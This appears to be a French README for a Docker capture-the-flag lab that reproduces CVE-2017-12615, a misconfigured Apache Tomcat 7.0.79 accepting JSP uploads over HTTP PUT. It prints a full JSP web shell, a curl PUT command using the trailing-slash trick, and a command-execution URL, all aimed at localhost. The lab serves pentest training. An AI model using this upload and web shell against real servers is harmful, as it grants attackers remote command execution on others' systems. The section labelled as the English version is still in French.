ANGLAIS CI-DESSOUS

CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

Ce lab simule la vulnérabilité CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
Elle est causée par la configuration readonly=false, qui permet de téléverser des fichiers via HTTP PUT, y compris des fichiers .jsp capables d'exécuter des commandes (RCE).

Fonctionnalités

• Apache Tomcat 7.0.79 (vulnérable)
• Override de DefaultServlet avec readonly=false
• Téléversement PUT pour placer des fichiers .jsp dans le répertoire web ROOT
• Prise en charge de l'exécution de commandes via un web shell
• Page web de style industriel avec une note interne oubliée (indice)
• Génération automatique de flag_RANDOM.txt à chaque démarrage du conteneur
• Conçu pour les CTF / Red Team / formation au pentest

Structure des répertoires

/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

Utilisation (Lancer le conteneur)

docker compose build
docker compose up -d

Ouvrir le site :

http://localhost:8080/

Comment tester la vulnérabilité CVE-2017-12615

1) Créer le fichier payload JSP

cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) Téléverser le fichier avec PUT (le nom du fichier doit se terminer par /)

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) Utiliser le webshell

http://localhost:8080/shell.jsp?cmd=id

Flag

Stocké dans :

/tmp/flag_RANDOM.txt

Version anglaise — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

Ce lab simule CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, où le DefaultServlet d'Apache Tomcat est mal configuré avec :

readonly=false

Cela permet aux attaquants de téléverser des fichiers .jsp via HTTP PUT, permettant ainsi une exécution de code à distance.

Fonctionnalités

• Apache Tomcat 7.0.79 vulnérable
• Override de DefaultServlet avec readonly=false
• Téléversement PUT → écriture de fichiers .jsp arbitraires dans le répertoire web ROOT
• Prend en charge l'exécution de commandes via un shell JSP
• Page d'accueil de style industriel avec un indice interne subtil
• flag_RANDOM.txt généré automatiquement au démarrage du conteneur
• Adapté aux CTF, à la recherche et au développement d'exploits

Exemple d'exploitation

Téléverser un shell JSP

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

Exécuter des commandes

http://localhost:8080/shell.jsp?cmd=id

Emplacement du flag

/tmp/flag_RANDOM.txt

Avertissement

À des fins éducatives, de recherche et de tests d'intrusion autorisés uniquement.